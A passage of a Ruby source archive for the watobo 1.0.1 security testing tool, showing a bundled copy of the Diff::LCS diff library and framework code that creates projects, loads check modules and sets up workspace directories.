__normalize_patchset(patchset) patchset.map do |hunk| case hunk when Diff::LCS::ContextChange, Diff::LCS::Change hunk when Array if (not hunk[0].kind_of?(Array)) and hunk[1].kind_of?(Array) and hunk[2].kind_of?(Array) Diff::LCS::ContextChange.from_a(hunk) else hunk.map do |change| case change when Diff::LCS::ContextChange, Diff::LCS::Change change when Array # change[1] will ONLY be an array in a ContextChange#to_a call. # In Change#to_a, it represents the line (singular). if change[1].kind_of?(Array) Diff::LCS::ContextChange.from_a(change) else Diff::LCS::Change.from_a(change) end end end end else raise ArgumentError, "Cannot normalise a hunk of class #{hunk.class}." end end.flatten end end end watobo-1.0.1/lib/watobo/external/diff/lcs/000077500000000000000000000000001366346341400203725ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/external/diff/lcs/array.rb000066400000000000000000000011411366346341400220320ustar00rootroot00000000000000#! /usr/env/bin ruby #-- # Copyright 2004 Austin Ziegler # adapted from: # Algorithm::Diff (Perl) by Ned Konz # Smalltalk by Mario I. Wolczko # implements McIlroy-Hunt diff algorithm # # This program is free software. It may be redistributed and/or modified under # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the # Ruby licence. # # $Id: array.rb,v 1.3 2004/08/08 20:33:09 austin Exp $ #++ # Includes Diff::LCS into the Array built-in class. require 'diff/lcs' class Array include Diff::LCS end watobo-1.0.1/lib/watobo/external/diff/lcs/block.rb000066400000000000000000000024001366346341400220050ustar00rootroot00000000000000#! /usr/env/bin ruby #-- # Copyright 2004 Austin Ziegler # adapted from: # Algorithm::Diff (Perl) by Ned Konz # Smalltalk by Mario I. Wolczko # implements McIlroy-Hunt diff algorithm # # This program is free software. It may be redistributed and/or modified under # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the # Ruby licence. # # $Id: block.rb,v 1.3 2004/08/08 20:33:09 austin Exp $ #++ # Contains Diff::LCS::Block for bin/ldiff. # A block is an operation removing, adding, or changing a group of items. # Basically, this is just a list of changes, where each change adds or # deletes a single item. Used by bin/ldiff. class Diff::LCS::Block attr_reader :changes, :insert, :remove def initialize(chunk) @changes = [] @insert = [] @remove = [] chunk.each do |item| @changes << item @remove << item if item.deleting? @insert << item if item.adding? end end def diff_size @insert.size - @remove.size end def op case [@remove.empty?, @insert.empty?] when [false, false] '!' when [false, true] '-' when [true, false] '+' else # [true, true] '^' end end end watobo-1.0.1/lib/watobo/external/diff/lcs/callbacks.rb000066400000000000000000000261421366346341400226430ustar00rootroot00000000000000#! /usr/env/bin ruby #-- # Copyright 2004 Austin Ziegler # adapted from: # Algorithm::Diff (Perl) by Ned Konz # Smalltalk by Mario I. Wolczko # implements McIlroy-Hunt diff algorithm # # This program is free software. It may be redistributed and/or modified under # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the # Ruby licence. # # $Id: callbacks.rb,v 1.4 2004/09/14 18:51:26 austin Exp $ #++ # Contains definitions for all default callback objects. module Diff::LCS # This callback object implements the default set of callback events, which # only returns the event itself. Note that #finished_a and #finished_b are # not implemented -- I haven't yet figured out where they would be useful. # # Note that this is intended to be called as is, e.g., # # Diff::LCS.LCS(seq1, seq2, Diff::LCS::DefaultCallbacks) class DefaultCallbacks class << self # Called when two items match. def match(event) event end # Called when the old value is discarded in favour of the new value. def discard_a(event) event end # Called when the new value is discarded in favour of the old value. def discard_b(event) event end # Called when both the old and new values have changed. def change(event) event end private :new end end # An alias for DefaultCallbacks that is used in Diff::LCS#traverse_sequences. # # Diff::LCS.LCS(seq1, seq2, Diff::LCS::SequenceCallbacks) SequenceCallbacks = DefaultCallbacks # An alias for DefaultCallbacks that is used in Diff::LCS#traverse_balanced. # # Diff::LCS.LCS(seq1, seq2, Diff::LCS::BalancedCallbacks) BalancedCallbacks = DefaultCallbacks end # This will produce a compound array of simple diff change objects. Each # element in the #diffs array is a +hunk+ or +hunk+ array, where each # element in each +hunk+ array is a single Change object representing the # addition or removal of a single element from one of the two tested # sequences. The +hunk+ provides the full context for the changes. # # diffs = Diff::LCS.diff(seq1, seq2) # # This example shows a simplified array format. # # [ [ [ '-', 0, 'a' ] ], # 1 # # [ [ '+', 2, 'd' ] ], # 2 # # [ [ '-', 4, 'h' ], # 3 # # [ '+', 4, 'f' ] ], # # [ [ '+', 6, 'k' ] ], # 4 # # [ [ '-', 8, 'n' ], # 5 # # [ '-', 9, 'p' ], # # [ '+', 9, 'r' ], # # [ '+', 10, 's' ], # # [ '+', 11, 't' ] ] ] # # There are five hunks here. The first hunk says that the +a+ at position 0 # of the first sequence should be deleted ('-'). The second hunk # says that the +d+ at position 2 of the second sequence should be inserted # ('+'). The third hunk says that the +h+ at position 4 of the # first sequence should be removed and replaced with the +f+ from position 4 # of the second sequence. The other two hunks are described similarly. # # === Use # This callback object must be initialised and is used by the Diff::LCS#diff # method. # # cbo = Diff::LCS::DiffCallbacks.new # Diff::LCS.LCS(seq1, seq2, cbo) # cbo.finish # # Note that the call to #finish is absolutely necessary, or the last set of # changes will not be visible. Alternatively, can be used as: # # cbo = Diff::LCS::DiffCallbacks.new { |tcbo| Diff::LCS.LCS(seq1, seq2, tcbo) } # # The necessary #finish call will be made. # # === Simplified Array Format # The simplified array format used in the example above can be obtained # with: # # require 'pp' # pp diffs.map { |e| e.map { |f| f.to_a } } class Diff::LCS::DiffCallbacks # Returns the difference set collected during the diff process. attr_reader :diffs def initialize # :yields self: @hunk = [] @diffs = [] if block_given? begin yield self ensure self.finish end end end # Finalizes the diff process. If an unprocessed hunk still exists, then it # is appended to the diff list. def finish add_nonempty_hunk end def match(event) add_nonempty_hunk end def discard_a(event) @hunk << Diff::LCS::Change.new('-', event.old_position, event.old_element) end def discard_b(event) @hunk << Diff::LCS::Change.new('+', event.new_position, event.new_element) end private def add_nonempty_hunk @diffs << @hunk unless @hunk.empty? @hunk = [] end end # This will produce a compound array of contextual diff change objects. Each # element in the #diffs array is a "hunk" array, where each element in each # "hunk" array is a single change. Each change is a Diff::LCS::ContextChange # that contains both the old index and new index values for the change. The # "hunk" provides the full context for the changes. Both old and new objects # will be presented for changed objects. +nil+ will be substituted for a # discarded object. # # seq1 = %w(a b c e h j l m n p) # seq2 = %w(b c d e f j k l m r s t) # # diffs = Diff::LCS.diff(seq1, seq2, Diff::LCS::ContextDiffCallbacks) # # This example shows a simplified array format. # # [ [ [ '-', [ 0, 'a' ], [ 0, nil ] ] ], # 1 # # [ [ '+', [ 3, nil ], [ 2, 'd' ] ] ], # 2 # # [ [ '-', [ 4, 'h' ], [ 4, nil ] ], # 3 # # [ '+', [ 5, nil ], [ 4, 'f' ] ] ], # # [ [ '+', [ 6, nil ], [ 6, 'k' ] ] ], # 4 # # [ [ '-', [ 8, 'n' ], [ 9, nil ] ], # 5 # # [ '+', [ 9, nil ], [ 9, 'r' ] ], # # [ '-', [ 9, 'p' ], [ 10, nil ] ], # # [ '+', [ 10, nil ], [ 10, 's' ] ], # # [ '+', [ 10, nil ], [ 11, 't' ] ] ] ] # # The five hunks shown are comprised of individual changes; if there is a # related set of changes, they are still shown individually. # # This callback can also be used with Diff::LCS#sdiff, which will produce # results like: # # diffs = Diff::LCS.sdiff(seq1, seq2, Diff::LCS::ContextCallbacks) # # This example shows a simplified array format. # # [ [ [ "-", [ 0, "a" ], [ 0, nil ] ] ], # 1 # # [ [ "+", [ 3, nil ], [ 2, "d" ] ] ], # 2 # # [ [ "!", [ 4, "h" ], [ 4, "f" ] ] ], # 3 # # [ [ "+", [ 6, nil ], [ 6, "k" ] ] ], # 4 # # [ [ "!", [ 8, "n" ], [ 9, "r" ] ], # 5 # # [ "!", [ 9, "p" ], [ 10, "s" ] ], # # [ "+", [ 10, nil ], [ 11, "t" ] ] ] ] # # The five hunks are still present, but are significantly shorter in total # presentation, because changed items are shown as changes ("!") instead of # potentially "mismatched" pairs of additions and deletions. # # The result of this operation is similar to that of # Diff::LCS::SDiffCallbacks. They may be compared as: # # s = Diff::LCS.sdiff(seq1, seq2).reject { |e| e.action == "=" } # c = Diff::LCS.sdiff(seq1, seq2, Diff::LCS::ContextDiffCallbacks).flatten # # s == c # -> true # # === Use # This callback object must be initialised and can be used by the # Diff::LCS#diff or Diff::LCS#sdiff methods. # # cbo = Diff::LCS::ContextDiffCallbacks.new # Diff::LCS.LCS(seq1, seq2, cbo) # cbo.finish # # Note that the call to #finish is absolutely necessary, or the last set of # changes will not be visible. Alternatively, can be used as: # # cbo = Diff::LCS::ContextDiffCallbacks.new { |tcbo| Diff::LCS.LCS(seq1, seq2, tcbo) } # # The necessary #finish call will be made. # # === Simplified Array Format # The simplified array format used in the example above can be obtained # with: # # require 'pp' # pp diffs.map { |e| e.map { |f| f.to_a } } class Diff::LCS::ContextDiffCallbacks < Diff::LCS::DiffCallbacks def discard_a(event) @hunk << Diff::LCS::ContextChange.simplify(event) end def discard_b(event) @hunk << Diff::LCS::ContextChange.simplify(event) end def change(event) @hunk << Diff::LCS::ContextChange.simplify(event) end end # This will produce a simple array of diff change objects. Each element in # the #diffs array is a single ContextChange. In the set of #diffs provided # by SDiffCallbacks, both old and new objects will be presented for both # changed and unchanged objects. +nil+ will be substituted # for a discarded object. # # The diffset produced by this callback, when provided to Diff::LCS#sdiff, # will compute and display the necessary components to show two sequences # and their minimized differences side by side, just like the Unix utility # +sdiff+. # # same same # before | after # old < - # - > new # # seq1 = %w(a b c e h j l m n p) # seq2 = %w(b c d e f j k l m r s t) # # diffs = Diff::LCS.sdiff(seq1, seq2) # # This example shows a simplified array format. # # [ [ "-", [ 0, "a"], [ 0, nil ] ], # # [ "=", [ 1, "b"], [ 0, "b" ] ], # # [ "=", [ 2, "c"], [ 1, "c" ] ], # # [ "+", [ 3, nil], [ 2, "d" ] ], # # [ "=", [ 3, "e"], [ 3, "e" ] ], # # [ "!", [ 4, "h"], [ 4, "f" ] ], # # [ "=", [ 5, "j"], [ 5, "j" ] ], # # [ "+", [ 6, nil], [ 6, "k" ] ], # # [ "=", [ 6, "l"], [ 7, "l" ] ], # # [ "=", [ 7, "m"], [ 8, "m" ] ], # # [ "!", [ 8, "n"], [ 9, "r" ] ], # # [ "!", [ 9, "p"], [ 10, "s" ] ], # # [ "+", [ 10, nil], [ 11, "t" ] ] ] # # The result of this operation is similar to that of # Diff::LCS::ContextDiffCallbacks. They may be compared as: # # s = Diff::LCS.sdiff(seq1, seq2).reject { |e| e.action == "=" } # c = Diff::LCS.sdiff(seq1, seq2, Diff::LCS::ContextDiffCallbacks).flatten # # s == c # -> true # # === Use # This callback object must be initialised and is used by the Diff::LCS#sdiff # method. # # cbo = Diff::LCS::SDiffCallbacks.new # Diff::LCS.LCS(seq1, seq2, cbo) # # As with the other initialisable callback objects, Diff::LCS::SDiffCallbacks # can be initialised with a block. As there is no "fininishing" to be done, # this has no effect on the state of the object. # # cbo = Diff::LCS::SDiffCallbacks.new { |tcbo| Diff::LCS.LCS(seq1, seq2, tcbo) } # # === Simplified Array Format # The simplified array format used in the example above can be obtained # with: # # require 'pp' # pp diffs.map { |e| e.to_a } class Diff::LCS::SDiffCallbacks # Returns the difference set collected during the diff process. attr_reader :diffs def initialize #:yields self: @diffs = [] yield self if block_given? end def match(event) @diffs << Diff::LCS::ContextChange.simplify(event) end def discard_a(event) @diffs << Diff::LCS::ContextChange.simplify(event) end def discard_b(event) @diffs << Diff::LCS::ContextChange.simplify(event) end def change(event) @diffs << Diff::LCS::ContextChange.simplify(event) end end watobo-1.0.1/lib/watobo/external/diff/lcs/change.rb000066400000000000000000000110351366346341400221440ustar00rootroot00000000000000#! /usr/env/bin ruby #-- # Copyright 2004 Austin Ziegler # adapted from: # Algorithm::Diff (Perl) by Ned Konz # Smalltalk by Mario I. Wolczko # implements McIlroy-Hunt diff algorithm # # This program is free software. It may be redistributed and/or modified under # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the # Ruby licence. # # $Id: change.rb,v 1.4 2004/08/08 20:33:09 austin Exp $ #++ # Provides Diff::LCS::Change and Diff::LCS::ContextChange. # Centralises the change test code in Diff::LCS::Change and # Diff::LCS::ContextChange, since it's the same for both classes. module Diff::LCS::ChangeTypeTests def deleting? @action == '-' end def adding? @action == '+' end def unchanged? @action == '=' end def changed? @changed == '!' end def finished_a? @changed == '>' end def finished_b? @changed == '<' end end # Represents a simplistic (non-contextual) change. Represents the removal or # addition of an element from either the old or the new sequenced enumerable. class Diff::LCS::Change # Returns the action this Change represents. Can be '+' (#adding?), '-' # (#deleting?), '=' (#unchanged?), # or '!' (#changed?). When created by # Diff::LCS#diff or Diff::LCS#sdiff, it may also be '>' (#finished_a?) or # '<' (#finished_b?). attr_reader :action attr_reader :position attr_reader :element include Comparable def ==(other) (self.action == other.action) and (self.position == other.position) and (self.element == other.element) end def <=>(other) r = self.action <=> other.action r = self.position <=> other.position if r.zero? r = self.element <=> other.element if r.zero? r end def initialize(action, position, element) @action = action @position = position @element = element end # Creates a Change from an array produced by Change#to_a. def to_a [@action, @position, @element] end def self.from_a(arr) Diff::LCS::Change.new(arr[0], arr[1], arr[2]) end include Diff::LCS::ChangeTypeTests end # Represents a contextual change. Contains the position and values of the # elements in the old and the new sequenced enumerables as well as the action # taken. class Diff::LCS::ContextChange # Returns the action this Change represents. Can be '+' (#adding?), '-' # (#deleting?), '=' (#unchanged?), # or '!' (#changed?). When # created by Diff::LCS#diff or Diff::LCS#sdiff, it may also be '>' # (#finished_a?) or '<' (#finished_b?). attr_reader :action attr_reader :old_position attr_reader :old_element attr_reader :new_position attr_reader :new_element include Comparable def ==(other) (@action == other.action) and (@old_position == other.old_position) and (@new_position == other.new_position) and (@old_element == other.old_element) and (@new_element == other.new_element) end def inspect(*args) %Q(#<#{self.class.name}:#{__id__} @action=#{action} positions=#{old_position},#{new_position} elements=#{old_element.inspect},#{new_element.inspect}>) end def <=>(other) r = @action <=> other.action r = @old_position <=> other.old_position if r.zero? r = @new_position <=> other.new_position if r.zero? r = @old_element <=> other.old_element if r.zero? r = @new_element <=> other.new_element if r.zero? r end def initialize(action, old_position, old_element, new_position, new_element) @action = action @old_position = old_position @old_element = old_element @new_position = new_position @new_element = new_element end def to_a [@action, [@old_position, @old_element], [@new_position, @new_element]] end # Creates a ContextChange from an array produced by ContextChange#to_a. def self.from_a(arr) if arr.size == 5 Diff::LCS::ContextChange.new(arr[0], arr[1], arr[2], arr[3], arr[4]) else Diff::LCS::ContextChange.new(arr[0], arr[1][0], arr[1][1], arr[2][0], arr[2][1]) end end # Simplifies a context change for use in some diff callbacks. '<' actions # are converted to '-' and '>' actions are converted to '+'. def self.simplify(event) ea = event.to_a case ea[0] when '-' ea[2][1] = nil when '<' ea[0] = '-' ea[2][1] = nil when '+' ea[1][1] = nil when '>' ea[0] = '+' ea[1][1] = nil end Diff::LCS::ContextChange.from_a(ea) end include Diff::LCS::ChangeTypeTests end watobo-1.0.1/lib/watobo/external/diff/lcs/hunk.rb000066400000000000000000000176131366346341400216740ustar00rootroot00000000000000#! /usr/env/bin ruby #-- # Copyright 2004 Austin Ziegler # adapted from: # Algorithm::Diff (Perl) by Ned Konz # Smalltalk by Mario I. Wolczko # implements McIlroy-Hunt diff algorithm # # This program is free software. It may be redistributed and/or modified under # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the # Ruby licence. # # $Id: hunk.rb,v 1.2 2004/08/08 20:33:09 austin Exp $ #++ # Contains Diff::LCS::Hunk for bin/ldiff. # A Hunk is a group of Blocks which overlap because of the context # surrounding each block. (So if we're not using context, every hunk will # contain one block.) Used in the diff program (bin/diff). class Diff::LCS::Hunk attr_reader :blocks attr_reader :start_old, :start_new attr_reader :end_old, :end_new attr_reader :file_length_difference # Change the "start" and "end" fields to note that context should be added # to this hunk attr :flag_context # Create a hunk using references to both the old and new data, as well as # the piece of data def initialize(data_old, data_new, piece, context, file_length_difference) # At first, a hunk will have just one Block in it @blocks = [ Diff::LCS::Block.new(piece) ] @data_old = data_old @data_new = data_new before = after = file_length_difference after += @blocks[0].diff_size @file_length_difference = after # The caller must get this manually # Save the start & end of each array. If the array doesn't exist # (e.g., we're only adding items in this block), then figure out the # line number based on the line number of the other file and the # current difference in file lengths. if @blocks[0].remove.empty? a1 = a2 = nil else a1 = @blocks[0].remove[0].position a2 = @blocks[0].remove[-1].position end if @blocks[0].insert.empty? b1 = b2 = nil else b1 = @blocks[0].insert[0].position b2 = @blocks[0].insert[-1].position end @start_old = a1 || (b1 - before) @start_new = b1 || (a1 + before) @end_old = a2 || (b2 - after) @end_new = b2 || (a2 + after) self.flag_context = context end def flag_context=(context) #:nodoc: return if context.nil? or context.zero? add_start = (context > @start_old) ? @start_old : context @start_old -= add_start @start_new -= add_start if (@end_old + context) > @data_old.size add_end = @data_old.size - @end_old else add_end = context end @end_old += add_end @end_new += add_end end def unshift(hunk) @start_old = hunk.start_old @start_new = hunk.start_new blocks.unshift(*hunk.blocks) end # Is there an overlap between hunk arg0 and old hunk arg1? Note: if end # of old hunk is one less than beginning of second, they overlap def overlaps?(hunk = nil) return nil if hunk.nil? a = (@start_old - hunk.end_old) <= 1 b = (@start_new - hunk.end_new) <= 1 return (a or b) end def diff(format) case format when :old old_diff when :unified unified_diff when :context context_diff when :ed self when :reverse_ed, :ed_finish ed_diff(format) else raise "Unknown diff format #{format}." end end def each_old(block) @data_old[@start_old .. @end_old].each { |e| yield e } end private # Note that an old diff can't have any context. Therefore, we know that # there's only one block in the hunk. def old_diff warn "Expecting only one block in an old diff hunk!" if @blocks.size > 1 op_act = { "+" => 'a', "-" => 'd', "!" => "c" } block = @blocks[0] # Calculate item number range. Old diff range is just like a context # diff range, except the ranges are on one line with the action between # them. s = "#{context_range(:old)}#{op_act[block.op]}#{context_range(:new)}\n" # If removing anything, just print out all the remove lines in the hunk # which is just all the remove lines in the block. @data_old[@start_old .. @end_old].each { |e| s << "< #{e}\n" } unless block.remove.empty? s << "---\n" if block.op == "!" @data_new[@start_new .. @end_new].each { |e| s << "> #{e}\n" } unless block.insert.empty? s end def unified_diff # Calculate item number range. s = "@@ -#{unified_range(:old)} +#{unified_range(:new)} @@\n" # Outlist starts containing the hunk of the old file. Removing an item # just means putting a '-' in front of it. Inserting an item requires # getting it from the new file and splicing it in. We splice in # +num_added+ items. Remove blocks use +num_added+ because splicing # changed the length of outlist. # # We remove +num_removed+ items. Insert blocks use +num_removed+ # because their item numbers -- corresponding to positions in the NEW # file -- don't take removed items into account. lo, hi, num_added, num_removed = @start_old, @end_old, 0, 0 outlist = @data_old[lo .. hi].collect { |e| e.gsub(/^/, ' ') } @blocks.each do |block| block.remove.each do |item| op = item.action.to_s # - offset = item.position - lo + num_added outlist[offset].gsub!(/^ /, op.to_s) num_removed += 1 end block.insert.each do |item| op = item.action.to_s # + offset = item.position - @start_new + num_removed outlist[offset, 0] = "#{op}#{@data_new[item.position]}" num_added += 1 end end s << outlist.join("\n") end def context_diff s = "***************\n" s << "*** #{context_range(:old)} ****\n" r = context_range(:new) # Print out file 1 part for each block in context diff format if there # are any blocks that remove items lo, hi = @start_old, @end_old removes = @blocks.select { |e| not e.remove.empty? } if removes outlist = @data_old[lo .. hi].collect { |e| e.gsub(/^/, ' ') } removes.each do |block| block.remove.each do |item| outlist[item.position - lo].gsub!(/^ /) { block.op } # - or ! end end s << outlist.join("\n") end s << "\n--- #{r} ----\n" lo, hi = @start_new, @end_new inserts = @blocks.select { |e| not e.insert.empty? } if inserts outlist = @data_new[lo .. hi].collect { |e| e.gsub(/^/, ' ') } inserts.each do |block| block.insert.each do |item| outlist[item.position - lo].gsub!(/^ /) { block.op } # + or ! end end s << outlist.join("\n") end s end def ed_diff(format) op_act = { "+" => 'a', "-" => 'd', "!" => "c" } warn "Expecting only one block in an old diff hunk!" if @blocks.size > 1 if format == :reverse_ed s = "#{op_act[@blocks[0].op]}#{context_range(:old)}\n" else s = "#{context_range(:old).gsub(/,/, ' ')}#{op_act[@blocks[0].op]}\n" end unless @blocks[0].insert.empty? @data_new[@start_new .. @end_new].each { |e| s << "#{e}\n" } s << ".\n" end s end # Generate a range of item numbers to print. Only print 1 number if the # range has only one item in it. Otherwise, it's 'start,end' def context_range(mode) case mode when :old s, e = (@start_old + 1), (@end_old + 1) when :new s, e = (@start_new + 1), (@end_new + 1) end (s < e) ? "#{s},#{e}" : "#{e}" end # Generate a range of item numbers to print for unified diff. Print # number where block starts, followed by number of lines in the block # (don't print number of lines if it's 1) def unified_range(mode) case mode when :old s, e = (@start_old + 1), (@end_old + 1) when :new s, e = (@start_new + 1), (@end_new + 1) end length = e - s + 1 first = (length < 2) ? e : s # "strange, but correct" (length == 1) ? "#{first}" : "#{first},#{length}" end end watobo-1.0.1/lib/watobo/external/diff/lcs/ldiff.rb000066400000000000000000000162471366346341400220150ustar00rootroot00000000000000#!/usr/bin/env ruby require 'optparse' require 'ostruct' require 'diff/lcs/hunk' # == ldiff Usage # ldiff [options] oldfile newfile # # -c:: Displays a context diff with 3 lines of context. # -C [LINES], --context [LINES]:: Displays a context diff with LINES lines of context. Default 3 lines. # -u:: Displays a unified diff with 3 lines of context. # -U [LINES], --unified [LINES]:: Displays a unified diff with LINES lines of context. Default 3 lines. # -e:: Creates an 'ed' script to change oldfile to newfile. # -f:: Creates an 'ed' script to change oldfile to newfile in reverse order. # -a, --text:: Treats the files as text and compares them line-by-line, even if they do not seem to be text. # --binary:: Treats the files as binary. # -q, --brief:: Reports only whether or not the files differ, not the details. # --help:: Shows the command-line help. # --version:: Shows the version of Diff::LCS. # # By default, runs produces an "old-style" diff, with output like UNIX diff. # # == Copyright # Copyright © 2004 Austin Ziegler # # Part of Diff::LCS # Austin Ziegler # # This program is free software. It may be redistributed and/or modified under # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the # Ruby licence. module Diff::LCS::Ldiff BANNER = <<-COPYRIGHT ldiff #{Diff::LCS::VERSION} Copyright � 2004 Austin Ziegler Part of Diff::LCS. http://rubyforge.org/projects/ruwiki/ Austin Ziegler This program is free software. It may be redistributed and/or modified under the terms of the GPL version 2 (or later), the Perl Artistic licence, or the Ruby licence. $Id: ldiff.rb,v 1.1 2004/09/26 01:37:49 austin Exp $ COPYRIGHT class << self attr_reader :format, :lines #:nodoc: attr_reader :file_old, :file_new #:nodoc: attr_reader :data_old, :data_new #:nodoc: def run(args, input = $stdin, output = $stdout, error = $stderr) #:nodoc: args.options do |o| o.banner = "Usage: #{File.basename($0)} [options] oldfile newfile" o.separator "" o.on('-c', 'Displays a context diff with 3 lines of', 'context.') do |ctx| @format = :context @lines = 3 end o.on('-C', '--context [LINES]', Numeric, 'Displays a context diff with LINES lines', 'of context. Default 3 lines.') do |ctx| @format = :context @lines = ctx || 3 end o.on('-u', 'Displays a unified diff with 3 lines of', 'context.') do |ctx| @format = :unified @lines = 3 end o.on('-U', '--unified [LINES]', Numeric, 'Displays a unified diff with LINES lines', 'of context. Default 3 lines.') do |ctx| @format = :unified @lines = ctx || 3 end o.on('-e', 'Creates an \'ed\' script to change', 'oldfile to newfile.') do |ctx| @format = :ed end o.on('-f', 'Creates an \'ed\' script to change', 'oldfile to newfile in reverse order.') do |ctx| @format = :reverse_ed end o.on('-a', '--text', 'Treat the files as text and compare them', 'line-by-line, even if they do not seem', 'to be text.') do |txt| @binary = false end o.on('--binary', 'Treats the files as binary.') do |bin| @binary = true end o.on('-q', '--brief', 'Report only whether or not the files', 'differ, not the details.') do |ctx| @format = :report end o.on_tail('--help', 'Shows this text.') do error << o return 0 end o.on_tail('--version', 'Shows the version of Diff::LCS.') do error << BANNER return 0 end o.on_tail "" o.on_tail 'By default, runs produces an "old-style" diff, with output like UNIX diff.' o.parse! end unless args.size == 2 error << args.options return 127 end # Defaults are for old-style diff @format ||= :old @lines ||= 0 file_old, file_new = *ARGV case @format when :context char_old = '*' * 3 char_new = '-' * 3 when :unified char_old = '-' * 3 char_new = '+' * 3 end # After we've read up to a certain point in each file, the number of # items we've read from each file will differ by FLD (could be 0). file_length_difference = 0 if @binary.nil? or @binary data_old = IO::read(file_old) data_new = IO::read(file_new) # Test binary status if @binary.nil? old_txt = data_old[0...4096].grep(/\0/).empty? new_txt = data_new[0...4096].grep(/\0/).empty? @binary = (not old_txt) or (not new_txt) old_txt = new_txt = nil end unless @binary data_old = data_old.split(/\n/).map! { |e| e.chomp } data_new = data_new.split(/\n/).map! { |e| e.chomp } end else data_old = IO::readlines(file_old).map! { |e| e.chomp } data_new = IO::readlines(file_new).map! { |e| e.chomp } end # diff yields lots of pieces, each of which is basically a Block object if @binary diffs = (data_old == data_new) else diffs = Diff::LCS.diff(data_old, data_new) diffs = nil if diffs.empty? end return 0 unless diffs if (@format == :report) and diffs output << "Files #{file_old} and #{file_new} differ\n" return 1 end if (@format == :unified) or (@format == :context) ft = File.stat(file_old).mtime.localtime.strftime('%Y-%m-%d %H:%M:%S %z') puts "#{char_old} #{file_old}\t#{ft}" ft = File.stat(file_new).mtime.localtime.strftime('%Y-%m-%d %H:%M:%S %z') puts "#{char_new} #{file_new}\t#{ft}" end # Loop over hunks. If a hunk overlaps with the last hunk, join them. # Otherwise, print out the old one. oldhunk = hunk = nil if @format == :ed real_output = output output = [] end diffs.each do |piece| begin hunk = Diff::LCS::Hunk.new(data_old, data_new, piece, @lines, file_length_difference) file_length_difference = hunk.file_length_difference next unless oldhunk if (@lines > 0) and hunk.overlaps?(oldhunk) hunk.unshift(oldhunk) else output << oldhunk.diff(@format) end ensure oldhunk = hunk output << "\n" end end output << oldhunk.diff(@format) output << "\n" if @format == :ed output.reverse_each { |e| real_output << e.diff(:ed_finish) } end return 1 end end end watobo-1.0.1/lib/watobo/external/diff/lcs/string.rb000066400000000000000000000010751366346341400222300ustar00rootroot00000000000000#! /usr/env/bin ruby #-- # Copyright 2004 Austin Ziegler # adapted from: # Algorithm::Diff (Perl) by Ned Konz # Smalltalk by Mario I. Wolczko # implements McIlroy-Hunt diff algorithm # # This program is free software. It may be redistributed and/or modified under # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the # Ruby licence. # # $Id: string.rb,v 1.3 2004/08/08 20:33:09 austin Exp $ #++ # Includes Diff::LCS into String. class String include Diff::LCS end watobo-1.0.1/lib/watobo/externals.rb000066400000000000000000000003611366346341400174110ustar00rootroot00000000000000require 'watobo/external/diff/lcs' require 'watobo/external/diff/lcs/hunk' require 'watobo/external/diff/lcs/callbacks' require 'watobo/external/diff/lcs/block' require 'watobo/external/diff/lcs/change' #require 'watobo/external/ntlm/ntlm' watobo-1.0.1/lib/watobo/framework.rb000066400000000000000000000002031366346341400173740ustar00rootroot00000000000000%w( init init_modules create_project license_text load_chat ).each do |lib| require File.join( "watobo", "framework", lib) end watobo-1.0.1/lib/watobo/framework/000077500000000000000000000000001366346341400170545ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/framework/create_project.rb000066400000000000000000000034731366346341400224010ustar00rootroot00000000000000# @private module Watobo#:nodoc: all @project_name = '' @session_name = '' @project = nil def self.project_name @project_name end def self.session_name @session_name end def self.project @project end # create_project is a wrapper function to create a new project # you can either create a project by giving a URL (:url), # or by giving a :project_name AND a :session_name def self.create_project(prefs={}) project_settings = Hash.new # project_settings.update @settings if prefs.has_key? :url #TODO: create project_settings from url else project_settings[:project_name] = prefs[:project_name] project_settings[:session_name] = prefs[:session_name] end Watobo::DataStore.connect(project_settings[:project_name], project_settings[:session_name]) @project_name = project_settings[:project_name] @session_name = project_settings[:session_name] # updating settings Watobo::Conf.load_project_settings() Watobo::Conf.load_session_settings() # apply settings to modules/objects Watobo::Scope.set Watobo::Conf::Scope.to_h #project_settings[:session_store] = ds puts "* INIT PASSIVE MODULES" Watobo::PassiveModules.init puts puts "Total: " + Watobo::PassiveModules.length.to_s # project_settings[:passive_checks] = init_passive_modules #puts "Total: " + project_settings[:passive_checks].length.to_s #puts puts "* INIT ACTIVE MODULES" #project_settings[:active_checks] = init_active_modules Watobo::ActiveModules.init # project_settings[:active_checks].each do |ac| # puts ac.class # end puts puts "Total: " + Watobo::ActiveModules.length.to_s puts project = Project.new(project_settings) #@running_projects << project @project = project end endwatobo-1.0.1/lib/watobo/framework/init.rb000066400000000000000000000073701366346341400203530ustar00rootroot00000000000000# @private module Watobo#:nodoc: all @active_checks = [] @passive_checks = [] @running_projects = [] @tmp_dir = "" def self.running_projects @running_projects end def self.active_checks @active_checks end def self.passive_checks @passive_checks end def self.init_framework() init_working_directory Watobo::Conf.each do |cm| # puts "\n=== #{cm.group_name} ===" # puts cm.to_h.to_yaml cm.update # puts "#" # puts cm.to_h.to_yaml end init_workspace_path init_active_modules init_passive_modules end def self.temp_directory @tmp_dir end def self.working_directory # puts "Method Obsolet! use Watobo::Conf::General.working_directory instead." Watobo::Conf::General.working_directory end def self.workspace_path=(new_wsp) # puts "Method Obsolet! use Watobo::Conf::General.workspace_path instead." Watobo::Conf::General.workspace_path = new_wsp end def self.workspace_path Watobo::Conf::General.workspace_path end private def self.init_workspace_path # gs = @settings[:general] if Conf::General.respond_to? :working_directory unless Conf::General.respond_to? :workspace_path if File.exist? Conf::General.working_directory dir = '' dir = Conf::General.workspace_name if Conf::General.respond_to? :workspace_name wsp = File.join(Conf::General.working_directory, dir) unless File.exist? wsp Dir.mkdir(wsp) puts "* created workspace folder #{wsp}" end Conf::General.workspace_path = wsp else puts "! working directory #{Conf::General.working_directory} does not exist." exit end else unless File.exist? Conf::General.workspace_path begin print "* Create Workspace Directory '#{Conf::General.workspace_path}' .." Dir.mkdir(Conf::General.workspace_path) print "OK\n" rescue => bang print "Autsch!\n" puts "!!! Could Not Create Workspace Directory" exit end end end else puts "! working directory not set." puts Conf::General.dump.to_yaml exit end end def self.init_working_directory watobo_folder = ".watobo" watobo_folder = Conf::General.watobo_folder if Conf::General.respond_to? :watobo_folder unless Conf::General.respond_to? :working_directory case RUBY_PLATFORM when 